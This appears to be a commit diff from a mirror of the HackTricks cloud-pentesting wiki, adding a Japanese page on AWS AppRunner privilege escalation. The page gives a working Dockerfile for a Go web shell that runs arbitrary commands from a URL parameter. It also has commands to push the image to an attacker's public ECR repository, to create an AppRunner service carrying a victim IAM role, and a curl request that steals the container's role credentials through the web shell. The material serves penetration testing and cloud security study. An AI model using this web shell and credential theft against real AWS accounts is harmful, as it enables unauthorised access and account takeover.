mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-09 11:44:59 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,72 @@
|
||||
# AWS - AppRunner Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## AppRunner
|
||||
|
||||
### `iam:PassRole`, `apprunner:CreateService`
|
||||
|
||||
これらの権限を持つ攻撃者は、IAMロールが添付されたAppRunnerサービスを作成でき、ロールの資格情報にアクセスすることで特権を昇格させる可能性があります。
|
||||
|
||||
攻撃者はまず、AppRunnerコンテナ上で任意のコマンドを実行するためのウェブシェルとして機能するDockerfileを作成します。
|
||||
```Dockerfile
|
||||
FROM golang:1.24-bookworm
|
||||
WORKDIR /app
|
||||
RUN apt-get update && apt-get install -y ca-certificates curl
|
||||
RUN cat <<'EOF' > main.go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func main() {
|
||||
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
|
||||
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
|
||||
output, err := command.CombinedOutput()
|
||||
if err != nil {
|
||||
fmt.Fprint(w, err.Error(), output)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Fprint(w, string(output))
|
||||
})
|
||||
http.ListenAndServe("0.0.0.0:3000", nil)
|
||||
}
|
||||
EOF
|
||||
RUN go mod init test && go build -o main .
|
||||
EXPOSE 3000
|
||||
CMD ["./main"]
|
||||
```
|
||||
次に、このイメージをECRリポジトリにプッシュします。
|
||||
攻撃者が制御するAWSアカウントのパブリックリポジトリにイメージをプッシュすることで、被害者のアカウントがECRを操作する権限を持っていなくても、権限昇格が可能です。
|
||||
```sh
|
||||
IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
|
||||
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
|
||||
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
|
||||
docker push $IMAGE_NAME
|
||||
docker logout public.ecr.aws
|
||||
```
|
||||
次に、攻撃者はこのウェブシェルイメージと、悪用したいIAMロールで構成されたAppRunnerサービスを作成します。
|
||||
```bash
|
||||
aws apprunner create-service \
|
||||
--service-name malicious-service \
|
||||
--source-configuration '{
|
||||
"ImageRepository": {
|
||||
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
|
||||
"ImageRepositoryType": "ECR_PUBLIC",
|
||||
"ImageConfiguration": { "Port": "3000" }
|
||||
}
|
||||
}' \
|
||||
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
|
||||
--query Service.ServiceUrl
|
||||
```
|
||||
サービスの作成が完了するのを待った後、ウェブシェルを使用してコンテナの資格情報を取得し、AppRunnerに添付されたIAMロールの権限を取得します。
|
||||
```sh
|
||||
curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'
|
||||
```
|
||||
**潜在的な影響:** AppRunnerサービスにアタッチできる任意のIAMロールへの直接的な権限昇格。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user